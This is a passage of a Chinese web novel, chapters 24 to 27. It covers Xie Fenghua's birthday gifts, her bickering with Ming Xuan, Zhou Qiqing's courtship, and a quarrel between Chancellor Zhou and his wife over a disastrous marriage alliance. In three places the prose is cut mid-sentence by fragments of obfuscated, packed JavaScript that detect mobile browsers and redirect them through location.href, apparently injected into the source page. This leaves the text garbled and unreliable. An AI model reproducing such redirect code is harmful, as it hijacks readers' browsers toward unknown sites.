周其卿用帕子净了手，随意丢在一旁：“她现在在哪儿？” “今早逛了几家书铺，现今朝着太学方向去了。” — 谢逢华在太学内用过早膳，又在御青阁待了一会儿。 太学钟声袅袅，鼓起两声，是考试结束的讯号。 此时出去，五成概率能遇到谢怀世。 谢逢华决定抄完这篇赋文再出去。 “谢娘子？” 谢逢华循声望去，容舟一袭朱色官袍，不知是准备进宫还是刚刚下朝。 “容大人。”谢逢华朝她施礼。 容舟撩起衣袍，坐于她对面，左右瞧瞧，从怀中取出一个用帕子包裹的玉镯。 “听闻今日是谢娘子生辰，我这没什么好表示的，这玉镯乃是我容氏的传家之物，有些个年头了，还望你不要嫌弃。” 谢逢华受宠若惊，推拒道：“容大人，这太贵重了。” 容舟拽过她的手，不容置疑地将玉镯套在纤弱的手腕上，“这是长辈给晚辈的生辰礼，对私而不对公，旁人问起，你只道是我送的，他们不敢造次。” 玉镯样式简单，玉面暗雕祥云，挂在手腕上，宛若圆月穿枝，更显娴静。 “晚辈多谢容大人。” “私下唤我一声容姨就好。”容舟道，“今晚我要入宫陪太后，你的生辰宴我怕是去不得了，还望你不要见怪。” 谢逢华欲说什么，忽听身后有人唤她姓名，一转头，竟是周其卿。 容舟冷下脸，看着周其卿朝她们行了礼，轻哼一声，别过脸不理他。 周其卿视若无睹，转而看向谢逢华，“谢娘子，我考完了。” 谢逢华一脸茫然，不明白为什么这种事也要专程来告知她。 周其卿却像是睁眼瞎般，依旧自说自话：“谢娘子，今日我要随母亲入宫，怕赶不及参加你的生辰宴，以防万一，先将生辰礼送给你。” 我也没说邀请你呀？ 谢逢华正腹诽着，却见他从腰间解下一个巴掌大却看着充实的钱袋，铃铃铛铛地塞进她手中。 谢逢华松开袋口，看到里面一个个金灿灿的小玩意，沉默一瞬，问：“这是什么？” “原是金豆子。”周其卿笑呵呵道，“我第一次送女子礼物，不知道送什么好，听玹兄说你喜财，就命人将一百颗金豆子打造成铜钱形态，寓意长命百岁。怎么样，喜欢吗？” 好朴实全华的生辰礼，好牵强的寓意。 容舟探头瞧了一眼，嘴角抽了抽，道：“为何不直接造成一顶金钗或者头冠？” 周其卿：“谢娘子不常配簪钗，何况金饰容易遭人嫉妒，不如金子实用，还能以备不时之需。” 容舟：“……” 道理是这样的，只是未免太过朴实无华，反倒叫人不知如何体面收下。 谢逢华看了他一眼，神情复杂，欲言又止。 周其卿沾沾自喜，没管谢逢华红一阵白一阵的脸色，说了句“母亲的马车在太学外等候”，就匆匆离开了。 “这小子……”容舟摇摇头，无声轻叹。 “容大人。”谢逢华捧着那一袋子金铜钱，战战兢兢道，“这礼……我是不是不该收？” “收下罢。”容舟道，“像世子这般人傻钱多的良人不多见了。” 与容舟告别后，谢逢华打消了寻找谢怀世的想法，径直回了明府。 彼时明玥正与明玹说着什么，见到谢逢华，齐齐噤了声。 明玹依旧是那副爱答不理的样子，谢逢华也懒得理他。 明玥神色肃穆，道：“今早去了哪里？” “睡不着，出去转了转。” “只是转转？” “嗯。” 明玥脸上写满了不信，打眼瞧见她疲惫苍白的脸色，到嘴边的话又咽了回去。 “今早你不在房中，济民被吓得不轻，还以为你离家出走了。” 谢逢华抿了口茶，“我留了纸条的。” “我看到了。”明玥拾起她鬓边碎发，拨到耳后，“下次想出门记得提前与我们说，你孤身一人，我们会担心的。” 谢逢华闷闷“嗯”了声，太阳穴隐隐胀痛，她侧了侧身，头枕在明玥肩上，“嫂嫂，我今日……” “阿姊。”明玹插言，“账本放您书房了。” 明玥看向明玹：“嗯，我知道了。”

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16533620|186445||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 明玹：“阿姊，昨日工部侍郎的夫人派人传话，今日将登门拜访。” 明玥：“这不是还没来吗？不急。” 明玹：“阿姊——” 谢逢华瞧出些什么，忽然抬起手腕凑到明玥面前，“嫂嫂您瞧。” 看清玉镯样式，明玥微微错愕：“这镯子……” 余光捕捉到明玹咬牙切齿的憋屈模样，谢逢华洋洋得意，连带着连声音也高了些，“是容姨送我的生辰礼。” 明玥注意力全在镯子上，压根没看到谢逢华与明玹目光里的刀光剑影。 “这玉镯乃是容氏的传身之物，容氏每个人都有一副类似的玉器以证身份，阿舟宝贵得跟她自己命似的，连碰都不让我碰，你过个生辰，她说送就送了。” “嫂嫂想要吗？”谢逢华竟不知这镯子后面还有这段恩怨，说着就要摘下来。 明玥拦下她：“罢了，既是送你的，你便收着罢。若日后有需要，兴许这镯子还能保你一命。” 这话谢逢华就有些听不懂了。 正要追问，有下人来报，说门前有客人来访，明玥叮嘱明玹照顾好谢逢华，便离开了。 中间客一走，原本不熟的二人变得更为陌生。 想起这镯子来历，谢逢华顿然觉得腕间烫手。 “这镯子可是皇室宝物，”明玹冷笑，“居然就这么戴在你手上，真是暴殄天物。” 谢逢华摘玉镯的手一顿，看向他：“吃不到葡萄就说吃葡萄的人嘴馋，怎么，你也想戴戴？不过这个尺寸，除非你把手骨敲碎，才能勉强塞进去罢？” 明玹一愣，一张脸像是被按在锅底上摩擦过，黑一块白一块，难看又可笑。 “胡言乱语。”明玹别过头，低声咒骂。 谢逢华不以为意，甚至打消了摘下镯子的念头。 谢逢华回房补了一下午的觉，最后还是被明玥唤醒了。 醒来时，远方黑云衔着残阳，天色欲暗不暗。 明玥差人为她备了一套新衣裳，粉红相称，珠宝首饰不要钱似的往她身上挂。 谢逢华看着镜中明艳动人的女子，肤若凝脂，面含桃花，端正庄雅，俨然一副大家闺秀的做派。 明玥将一串珍珠项链系在她颈间，道：“今夜来的都是朋友，你是寿星，只顾着你开心就好。” 在华京，谢逢华唯一的至亲就是兄长和嫂嫂，平日大门不出，二门不迈，又何来的朋友一说？ 明玥知晓谢逢华内敛，也只请了容舟赴宴，没成想容舟来不成，这生辰宴顺理成章成了家宴。 谢怀世难得换了新衣，与谢逢华一齐叩拜父母牌位，以感念父母的生养之恩。 起身时，谢怀世忽然没头没脑地问道：“应时，你会恨我吗？” 谢逢华垂眸，道：“人都有七情六欲，即便是兄长也不能强行控制我的思想。” “倘若兄长是为了保护你呢？” 可又有谁问过谢逢华需不需要这份庇佑。 “你总不能护我一辈子罢。”谢逢华望着那两块冷冰冰的木板，就好似父母尚坐于正堂，温柔抚摸着她的发顶，说永远会陪在她的身边。 谢逢华喃喃道：“何况，有些路，终归是要我自己去走一遭的。” 谢怀世苦笑，站起身，又对着牌位拜了一拜。 “长寿面来啦！” 明玥捧着一碗热腾腾的面，一把将筷子塞进谢逢华手中，“快趁热吃，这可是你兄长赶制了一下午的成果。” 澄澈的汤面上还窝着一颗白花花的鸡蛋，葱花点缀，喷香扑面而来。 谢逢华端着碗，疑惑看向谢怀世。 谢怀世嗔怪般瞪了眼邀功的明玥，脸上挂不住，连带着耳根也烧得通红，“是你嫂嫂教的好。” 明玥凑到谢逢华耳边，悄声道：“你兄长这人嘴硬心软，其实他学了一天才学会擀面，白瞎了我那些面粉了。” 谢逢华颇为赞成地点点头，附和道：“兄长就是死要面子活受罪。” “你们又说我什么坏话呢？”谢怀世一手一个，将二人拉开了。 谢逢华和明玥对视一眼，默契地闭口不谈。 “快尝尝罢。”看出谢怀世眼中的焦急，明玥替他开了口，“凉了就不好吃了。” 25. 第 25 章 分明是谢逢华的生辰宴，谢怀世不知想到什么伤心事，将自己灌得酩酊大醉，抱着明玥不放手，最后被明玹一脸嫌弃地打晕拖走了。 明玥实在放心不下，也跟着一起去了。 下人们前来收拾杯盘狼藉的餐桌，谢逢华吃饱喝足，闲来无事，干脆在院中闲逛以消食。 “谢娘子，谢娘子。” 几声细若蚊咛的声音自角落飘来，若有似无，推门的手骤然凝在门栓上。 这声音熟悉得很，大抵不是鬼魅。 谢逢华自我安慰几句，鼓起勇气朝声源处张望。 还是那个高高的围墙，还是熟悉的地方，还是那张熟悉的脸。 谢逢华无语地看着趴在墙头上的周其卿。 “看来我来得不合时宜。”周其卿脸颊泛着薄红，不知是累得还是其他，竟有些气喘。 活像财主家的傻儿子。 周其卿跃下墙头，拍拍手上尘土，道：“还有饭吗？我来得急，尚未用食。” 谢逢华引他入室，随后去了小厨房，下了一碗清汤面。 谢逢华不常下厨，但手艺尚可，果腹足矣。 周其卿风卷残云吃了一大碗，甚至还想再来一碗。 “我只做了这一碗。”谢逢华按下他的手，“若还是饿，我唤人给你拿些糕点来。” “不必不必，一碗足矣。”看着搭在手腕上的纤纤玉指，周其卿压了压嘴角，坐回座位上。 谢逢华撑腮看着他：“今夜来做什么？” “自然是为你过生辰了。” 视线划过她的手腕，周其卿道，“瞧这镯子样式……是容祭酒送你的？” “是呀，嫂嫂还说让我不要轻易摘下，怎么，你也知晓这镯子来历？” 周其卿却摇头：“我母亲也有一副类似的镯子，后来崔夫人进门，又逢崔夫人生辰，母亲便将镯子送给她做礼了。” 这句话倏然点醒了谢逢华。 想到那日周宰相对三人的称呼，谢逢华看向百无聊赖的周其卿，慢慢挺起来腰板，道：“嫂嫂说这镯子乃是容氏证身之物，长公主就这么把镯子送给外人，是不是……” 后面的话谢逢华想了又想，实在想不到合适的词眼形容心中的疑虑。 周其卿倒是听懂了她的话，笑道：“镯子没了，还有腰牌和长公主印。难不成没了镯子，舅舅就不认娘了？” 谢逢华点头，似觉得他说得有道理，转念一想，又问道：“长公主和二夫人关系很好吗？” “女子之间的事我不懂，我与二夫人也不常见面。不过听说二夫人常去探望母亲，母亲也常在父亲面前夸赞二夫人，想来关系是要好的。” 谢逢华若有所思，转而撞上周其卿投来的视线，心下一惊。 不似表面般大大咧咧，整日笑哈哈的纨绔模样，周其卿的眼神却没什么温度。 如同冬日夜半的残月，凄凄惨惨地挂在墨色夜空中。 “怎么不问了？”周其卿道，“是我哪句话说错了吗？” 谢逢华摇头，想去倒杯水，起身才发觉衣袖被人拽住。 “别急着走啊谢娘子。”周其卿单手支额，好整以暇地打量着她，“我还有些话想当面问问谢娘子。” 谢逢华料到他这张嘴里必然套不出什么好话，挣扎着想走，“我口渴。” “水壶就在桌上，你去哪里喝水？” 谢逢华：“那我就是乏了，我要睡觉。” 周其卿松了手：“那你睡罢，明晚我再来找你。” 谢逢华硬生生刹住了步子，转头愤愤瞪他：“你就没有别的事情可做了吗？” 周其卿把玩着筷子，笑意不抵眼底。 谢逢华三两步上前，一把夺过筷子，收拾了碗，一同放到厨房洗了。 再出来，屋内已不见了周其卿的身影。 “周世子？”谢逢华试探着唤了声。 屋内静悄悄的，无人回应。 谢逢华追出门，院中唯剩清风与明月。 连句“生辰吉乐”也不说，越发没规矩了。 谢逢华按了按隐隐灼痛的心口，转身回了房内。 — 晚些时候，周其卿前来向母亲问安。 母子二人聊了会儿太学趣事，聊到谢家和明家，容妙凝绷直针线，眉眼弯弯：“明家主的事我听阿舟讲过了，谢学正有才识，虽家境不好，却也知分寸懂进退，衬得上明家主。” 谢怀世就是个胆小的伪君子。 周其卿心道，靠着妹妹升官发财，却因为一己私欲要将妹妹送回乡藏一辈子，这种事周其卿可做不出来。 “上次明家主带来的那位小娘子便是谢学正的妹妹罢？瞧着倒是温婉可人。”容妙凝道，“听老爷说，你们私下多有交情，不妨与娘说说，那小娘子为人如何？” “她……” 门外忽然传来侍女行礼的声音。 看清来人，周其卿正色，起身朝周惕守施礼：“父亲。” “嗯。”周惕守心不在焉，看见周其卿更是面无波澜，径直坐在容妙凝身边。 瞧他这脸色，想必又是朝中那些文臣惹他不快。 容妙凝朝周其卿使了个眼色，周其卿会意，起身告退。 待周其卿离开，周惕守呷了口温茶，茶盏重重往案上一砸，沉声道：“容妙凝，你能不能管好你那好妹妹？” 手一抖，针尖穿透布料，刺入指尖。 指尖瞬间涌上一颗豆大的血珠。 容妙凝毫无察觉般，扯了帕子按住针口，旋即将染血的绣绷放在一旁。 周惕守熟视无睹，仍自顾自地说道：“和亲一事若非是我从中周旋，她早就被文官们的唾沫星子淹死了！而她呢？好心当成驴肝肺，一而再再而三地上书弹劾，昨日骂本官草菅人命，今日又说什么我苛捐杂税，明日是不是该栽赃本官意图谋反了？她究竟想做什么？” 茶案被他拍得哐哐响，周惕守喋喋不休，俨然气到了极点。 容妙凝掀开帕子，见不流血了，便将锦帕叠好放在一旁。 “夫君。”容妙凝出言打断他，“当初和亲一事阿舟本就反对，是您坚持要将寿安公主送去和亲，半路出了岔子，寿安公主被逼自尽以保清白，阿舟恨您也是情理之中。” 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16533621|186445||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >“分明是大梁毁约在先！”周惕守道，“不和亲又能如何？大夏遭逢荒年，无钱无兵无粮，如何遭得住战事？” “可这仗还是打了。”容妙凝平静地看着他，“大夏和梁国打了多少年，也不差这一仗了，不是吗？” 周惕守僵在原地，一时无言。 容妙凝端起绣绷缝了两针，不紧不慢地说：“当今圣上故步自封，不察民情，却妄想重振高祖踏马平高山的风采。您不一样，您身为一朝宰相，上通下达，大夏有没有兵，能不能打，那还不是夫君您一句话的事？” 轻飘飘的一句话，如同万斤重担死死压在周惕守的胸口，压得他喘不上气，四肢渐渐失了体温，硬如石块，久久不能动弹。 好半晌，周惕守才找回自己的声音：“夫人，夏梁交战多年，只差这最后一步就……只差这最后一口气，梁国便可彻底臣服于我大夏，圣上不愿放弃，我……我亦无周全之法……” 后面的话渐渐入不进耳中，容妙凝也无心再听。 指尖抚过绣绷上生动活泼的小，容妙凝道：“你们发动了战事，却不愿面对战后的千疮百孔，容舟和寿安抗下所有罪责，难道只为成就你们的一己私欲吗？” 周惕守蹙眉：“何为‘一己私欲’？梁国若破，大夏便可一统中原，这是利国利民，功在千秋的大计！” “所以呢？”容妙凝抬眸，直勾勾盯着他，“梁国灭了吗？大夏统一了吗？利国利民您又占哪个？” 周惕守哑然。 战胜不假，可大夏也仅仅是将梁朝逼退到度春关外，连梁朝的大门都没见到就因粮食不足被迫鸣鼓收兵。 为此皇帝还发了好大一通脾气，好几天都没上朝。 斗来斗去，没人输，却也没有胜者。 周惕守默了许久，似是无话可说，只手撑着桌案慢慢站起，道了句“早些歇息”，便拖着沉重的身子离开了。 全乱了。 容妙凝用力闭了闭眼，寻出剪刀，将方才绣的丝线一点点拆下来。 甄姑姑进来，手中端着一碗热腾腾的汤药，低声道：“夫人，该用药了。” 容妙凝只好放下绣绷，接过药碗却不急于下口，用勺子慢慢搅弄着浊苦的药汁，视线停在绣绷糟乱的纹路上，“甄姑姑，今夜世子去了哪里？” “奴已问过小铭子了，只说世子去了明府，见了谢娘子，约摸有一刻钟便出来了。” 容妙凝颔首：“老爷知晓吗？” 甄姑姑道：“世子身边鱼龙混杂，小铭子又是世子身边口风最严的，老爷知不知情，老奴实在不敢轻易定论。” 容妙凝放下药碗，似妥协，似无奈，紧拧的眉好半晌才松开。 “随他们去罢。”容妙凝叹道。 甄姑姑应声，又想到什么，回道：“殿下，二夫人午时来过一趟，说四小姐与世子起了争执，好几日都没说话，二夫人想来问问您的看法。” “兄妹之间哪有不拌嘴掐架的，手心手背都是肉，她想让我向着哪边？”容妙凝无奈，“卿儿有分寸，知道该怎么做，让二夫人尽管宽心，半月后若还是这幅样子，再从中调和也不迟。” 26. 第 26 章 这几日忙于阅卷，生辰过后，谢怀世一时没有再催促谢逢华离开。 明玥将合上账本，放在手边，抬眼看到谢逢华捧着半个桃子吃得正香，明玹站在她身侧，面色不善。 想来明玹二十有三，堪堪在官场立足，正需个女子替他打理后院，谢逢华才貌双全，又是近亲之人，二人站在一起，倒也称得上郎才女貌，若二人结亲—— “你也要吃吗？”谢逢华捡起一颗桃子，怼到他眼前，笑得像只小狐狸，“本姑娘再秀色可餐也不能真当饭吃，喏，我方才洗过了的，就大方给你了。” 明玹冷笑：“上次喝了你给我的茶水，我睡了一整日才醒来，谁知道这次你是不是在桃子里下了毒想谋害我。” 谢逢华倒也不气，干脆利落地把桃子丢回果篮中，“那茶水嫂嫂和我也喝了，我们都没事，怎么就你出事了？我若在桃子里下了毒，还会亲手把有毒的桃子给你让你吃下去吗？” 明玹冷哼一声：“兵行险招的法子你用的还少吗？” 谢逢华：“少爷还真是重视我呢，连我用的法子都一清二楚。” 明玹：“……自作多情。” 明玥支着下颚看着二人你来我往的磨嘴皮子，心里默默打消了结亲的念头。 “好了。”明玥出言打断他们，“阿玹，差人备马，随我去趟崔府。” 明玹颇为得意地看了眼谢逢华，拱手道：“是。” 明家姐弟一走，谢逢华无事可做，便在院中闲逛。 去世的明老爷子膝下共三子两女，除了长女明玥，最小的女儿早已远嫁；二公子因堕马彻底残废，困于房内不见人；三公子明玹尚在宫中为官，只是不招皇帝喜爱，晋升遥遥无期；还有四公子…… “四公子得了花柳病，死了。” 谢逢华抬眸，看向周其卿的眼神半是惊讶，半是无奈，“你怎么知道我在这里？” “路过而已。” “嗯，这倒是巧的很。” 周其卿佯装听不出她话中的阴阳，好整以暇地看着她，“我说过，我会来找你的。” “你只说过晚上来。”谢逢华顿了顿，道，“下次别翻墙了，明府西北有个偏门，平日只有一个下人守着，我跟他提一句，让他给你开门。” 周其卿眼睛亮了亮，又似想到什么，拉下脸：“我堂堂周家世子，见个人还要走后门？不知道的还以为我去偷人——” 许是声音太大，引得周围人瞩目。 谢逢华脸一烫，倾身越过桌案，双手捂住了周其卿的嘴，恼道：“翻墙就体面了？我那院子的墙头都歪了好几块砖头，昨儿嫂嫂还问我围墙上怎么会有鞋印子。” 唇上的手心温软，猝不及防贴近的佳人面容俏丽，恼羞成怒地指责着他。 谢逢华说了什么周其卿俨然已听不进去，只是那手离开时，鼻尖依旧萦绕着挥之不去的清茶香。 鬼使神差的，周其卿抓住了那只手。 喋喋不休的声音骤然消失，谢逢华讶异地看着他，“你做什么？” “我……”牵都牵了，现在放手，不是更显得做贼心虚吗？ 周其卿咽了咽口水，“谢娘子，您何时离开？” 他这副前言不搭后语的模样也不是一天两天了，谢逢华习以为常，“怎么，盼着我早点走？” 谢逢华不收手，就代表她并不讨厌这样，亦或者，谢逢华早已在他一次次的试探中学会习惯，慢慢开始接纳他了。 “谢娘子此言差矣。”周其卿强忍着把人拽到身边的冲动，松开了手，“谢娘子若想走，我哪里还拦得住您？” 谢逢华笑吟吟道：“世子若想拦，想必我也走不了。” 周其卿愣了下，像是没听到似的，自顾自满上一盏酒，道：“谢娘子，我……” “世子。” 桌旁倏然飘出一道暗色的影子，无声无息，硬是将周其卿的话堵在喉咙间。 “三公子。”谢逢华四下环顾，“你怎么在这里？嫂嫂呢？” 明玹最烦她一口一个“嫂嫂”，即便当着周其卿的面，依旧黑了脸，“谢娘子，阿姊身为明家家主，日理万机，自然不能事事与你过目。与其操心阿姊一天做些什么，倒不如好好想想如何寻个好人家嫁了去。” 心脏骤然停了一瞬。 周其卿放下酒盏，欲开口，反而被毫无觉察的谢逢华夺了先：“哎呦，三公子都不急，我又何愁说不成一桩婚事？三公子有空跟我争风吃醋，倒不如多想想如何帮着嫂嫂重振明家风范罢。” “谢娘子好大的口气。”握着剑柄的手绷出一道道青筋，明玹怒极反笑，“阿姊迟早要与谢怀世和离，离了阿姊，你当真以为你能赖上明府一辈子？” 谢逢华毫不客气：“和离又如何？就算我们兄妹流落街头，吃糠咽菜也照样撑得起谢家。倒是你，靠着爹娘侥幸捡了个小官，熬了几年却连皇帝的面都没见过，只知道整日无所事事围着你的好阿姊打转，不知道的还以为你对你的阿姊孔雀开屏呢！” “你！” “行了。”周其卿沉声打断他们，续了一盏酒，缓声道，“还有人看着，都歇歇罢。” 二人这才发现周围人都在盯着他们看。 两个人嘴上消停了，可那恨不得将对方扒皮断骨的目光依旧在空气中噼里啪啦掐着架。 周其卿不明白他们何来的恩怨，但想来明家主或许就在附近，还是低调些对双方更安全。 他今日只为见谢逢华一面，并不想把事情捅到长辈面前。 周其卿朝旁边挪了挪，留出空位，将酒盏推到明玹面前。 明玹婉拒了邀请：“阿姊和崔夫人在楼上厢房谈事，一会儿就结束了，喝多了酒，阿姊又该怪罪了。” “崔夫人？”周其卿抬了抬眼皮，“是文锦苑的崔夫人吗？” “正是。”想来不好拂了周其卿的面子，明玹还是抿尝了两口酒，“阿姊打算让明氏绢纺与文锦苑合作，一来扩展销路，二来也能相互借鉴学习，推出新品。” “明氏绢纺的布料色泽华美，文锦苑的绣娘手艺精湛，这倒是个两全的好法子。”周其卿不吝其夸赞，转而问谢逢华，“谢娘子觉得呢？” 谢逢华收回视线，道：“听闻文锦苑造艺堪称一绝，尤其苑中的月下仙更是独一无二，专贡皇室贵族。若是两家合作，一家出料，一家出手艺，取长补短，倒也不失为一种远见。” 周其卿突然重重咳嗽起来，像是在咳，又像是在笑。 谢逢华倒了杯水递给他，担忧道：“没事罢？” “没事没事。”周其卿饮下两口水，方才缓过劲来。 楼上有人唤明玹，明玹与周其卿客套了几句便匆匆上楼了。 周其卿想到什么，忽然泄出一声轻笑。 谢逢华不解：“笑什么？” “我在想你方才提到的月下仙。”周其卿好不容易才压下笑意，可隐隐抽搐的嘴角还是泄露了他不纯的目的，“你可知那月下仙为何专贡皇室，却很少见那些人穿过吗？” 谢逢华心道与我何干，但既然周其卿主动交代了，那便没有不继续听下去的道理。 “因为太稀少了？”谢逢华配合他，抛出自己的猜测，“还是容易碎裂污浊，不好打理？” 周其卿故作神秘地摆了摆手：“非也非也。” 环顾四周，周其卿以手掩唇，声音骤然低沉：“因为那月下仙呐，根本不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16533622|186445||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 能穿出门。” 谢逢华眨眨眼，一时脑子没能转过来，“……是怕歹人劫掠吗？” 见点拨不通，焦急之余，周其卿又生出几分逗她的心思。 “这还不懂吗？就是……” 周其卿绕过桌案坐在她身旁，俯身凑近她耳畔，悄悄说了一句话。 听清那几个字，谢逢华的脸“腾”地煮熟了。 煮熟的虾子都抵不过她颊边的半分羞红。 好半晌，谢逢华才似反应过来，结结巴巴道：“这个……名声太大，我……我也只是……只是听别人说的……” 周其卿扶着桌沿，笑得直不起腰。 笑够了，周其卿抹去眼角泪水，道：“月下仙名气虽大，但也并非传言般千金难求。” 起初，文锦苑的确只是普通的皇家御用的织造坊。上至皇帝龙袍，下至文官武将的官服，皆出于文锦苑。 文锦苑名声在外，无数绣娘们其苑中一个织娘的席位挤破了脑袋，也有不少达官贵人愿为文锦苑的一件衣裳一掷千金。 后来有个官人来到文锦苑，说定制一件衣裳。 “那人只提了一个要求，就是要‘薄’，薄如蝉翼，薄能透光，给人一种身着云雾，飘飘欲仙的感觉。” 本以为是刻意刁难，但那人直接放下一箱白花花的银子，说过几日便取，就走了。 钱到手中，一切问题便迎刃而解。 “所以月下仙做出来了？”谢逢华接话。 周其卿点头：“不过那时还不叫‘月下仙’。” 交了货，官人很满意，拿着衣裳走了。 本以为此事就此了结，却不曾想，一周后，忽然有许多人上门询问一款名为“月下仙”的衣裳。 当年文锦苑的掌事觉得奇怪，便向人打听，得知“月下仙”便是那人那官人所定制的衣裳，而“月下仙”之所以流行，只是因为一个贵人穿着它跳了一支舞，成功爬上了皇帝的龙榻。 皇帝偏爱其衣料的白皙透肤，特赐名“月下仙”。 不多时，贵人升了位份，成了尊贵的贵妃娘娘。 一杆起而百影从，众人纷纷效仿，争相抢购“月下仙”，但时间长了，心思也变得越来越不干净。 “起初人们尚能在衣裳里套一件里衣，后来，他们身上便只有一件‘月下仙’。” 掌事见状不对，欲阻拦却为时已晚，不少对家和文官早已各自联合，怀着各种各样的目的，不约而同抨击着文锦苑恶俗污浊。 在皇城动作前，掌事急中生智，来了招明修栈道，暗度陈仓：一边继续接收着客源，一边将先前的“月下仙”全部销毁，并将丝织改为锦绣，加厚了布料。 “这样倒是能说得过去。”谢逢华若有所思，“不过货不对版，也是会落人口舌罢。” 周其卿道：“皇帝亲封的文锦苑，谁敢说一句不是？” 谢逢华觉得奇怪：“都出了这种事，圣上为何还要继续使用文锦苑？华京大大小小的织造局不少，就非文锦苑不可？” 周其卿却只是淡淡瞥了她一眼，道：“织造局再多，手艺也是旁人学不去的。” “只是为了手艺？”谢逢华道，“难道不是因为皇帝和那些达官贵人们需要‘月下仙’吗？” 周其卿笑而不答。 酒足饭饱，时候也不早了。 分别前，谢逢华突然问道：“当年进献美人的官员怎么样了？” 周其卿脚步顿了顿，竟一时无言以对。 谢逢华奇怪地看着他，见他不愿开口，也未曾逼迫。 正欲转身离开，周其卿的声音倏然钻入她的耳中。 “或许，他早已忘记他的来时路了罢。” 27. 第 27 章 周其卿回到周府时，恰好赶上晚膳。 桌边围坐一圈人，案上玉盘珍羞，色泽诱人。 午时的酒水和糕点撑得腹胀，气氛压抑地人喘不上气，周其卿看着那些膳食，只觉得喉间反酸，一阵阵的恶心。 周其卿坐在周大夫人旁边，迟迟没落筷。 “去哪儿了？”周惕守问道。 “见了个故人。”周其卿答得含糊，视线在桌上晃荡一圈，落在中间那盘莲子酥上。 周惕守道：“什么故人？” “明家三公子，明玹兄。”周其卿道，“今日他随明家主与崔夫人谈事，偶然遇见，便多聊了几句。” 周二夫人盛汤的手僵了下，硬生生转了个弯，端起了周燕飞的汤碗。 周惕守脸上的皱纹深了几度：“明家主和崔夫人？” 周其卿咬了半块莲子酥，甜苦交融，咽不下去，又吐不出来，匆匆尝了味，囫囵咽下，“玹兄说，明家绢纺要和文锦苑合作。” 像是没注意周惕守不自在的目光，周其卿用汤水漱了口，便告辞离席。 “吃这么少？”周二夫人嘲弄道，“怕不是又在外面偷吃了好的，吃不消家里的饭了。” 换做往常，周惕守定当附和她。 可惜今日的贵人们各怀鬼胎，无人理会她，只有周燕飞拽了拽她的衣袖，说想吃莲子酥。 待散了席，容妙凝带了些薄粥，来到周其卿的庭院。 周其卿方才练完剑，汗水沿着鬓角滑落，不知不觉间，曾经追在她身后要糖吃的顽童已长成了顶天立地的少年。 “娘。”周其卿看到她，脸上疲惫一扫而空，收了剑，高兴地朝她奔来，“您怎么来了？” “你晚膳吃得少，娘怕你晚上饿，差人煮了些粥，给你垫垫。” 周其卿接过食盒，“多谢母亲好意，只是午膳儿子吃撑了些，现在并不饿。” 容妙凝用绢帕擦去周其卿颊边汗水，“谁家的饭这么香，勾得咱家世子流连忘返？” “您就莫要打趣儿子了。”周其卿抱涩，不好意思地挠头，犹豫开口道，“娘，儿子有个不情之请。” 容妙凝：“说来听听。” 周其卿捋了捋措辞，道：“就是……儿子现在有心上人了，因此在儿子及冠之前，可否劳烦母亲将那些婚事推了？” 似是预料之中，容妙凝并无过多异色，只问道：“是谢娘子吗？” 周其卿点头。 “可她大你几岁，还只是个教书先生的妹妹。” 周其卿急道：“儿子不在乎。” “谢娘子在乎。”容妙凝按了按眉心，道，“成婚讲究门当户对，你执意娶她，且不论旁人如何看她，你又是否问过她愿不愿意？” “何况你身为周府世子，三番五次私会民间女子，已经引得那些言官们不满。这些天常以此弹劾你父亲，为此你父亲没少操心。” 周其卿蹙眉：“我又没做伤天害理的事，他们想说便说；况且父亲当朝杀了那么多官员，怎么不见那些言官为此出头？” “卿儿，慎言！”容妙凝正色道，“且不论你与谢娘子聊了什么，娘只想点你几句，你一日姓周，那便还是周惕守的儿子，是周家世子，我们都还是一条船上的人，船翻了，谁也别想独活。” 容舟铁了心与周家拧到底，就连她这个姐姐都不放在眼里，这几日上奏的文书怕是堆成了山。 只是皇帝向来不问政事，那些折子估计他也看不见。 像是突然卸下所有的重担，容妙凝深吸一口气，耐着性子道：“我知你担心谢娘子，这段时间你且在太学安心读书，至于谢娘子那边，娘自会与她说情。” 言毕，容妙凝却也不再听他解释，嘱咐周其卿早些歇息，毅然决然地离开了。 “世子。”周铭战战兢兢上前，低声问道，“那今夜……还去吗？” “去你大爷。”周其卿将剑扔给周铭，脸上说不清是悲伤还是愤然。 好似有什么欲宣之于口，却被人割掉舌头一般，硬生生卡在喉间，几乎要将他活活憋死。 周其卿厌倦了这种受制于人的感觉。 “备马，今晚回太学。” — 再次遇到周大夫人时，谢逢华正绕着太学寻找容舟。 “见过长公主。”谢逢华看着面前端庄持重的妇人，敬畏之心油然而生。 “谢娘子这是在寻阿舟？” “是。”谢逢华抬了抬手中的食盒，“明家主托我来给容大人送桃花酿。” 容妙凝弯了唇角：“饮酒伤身，这桃花酿就由本宫替她收下罢。” 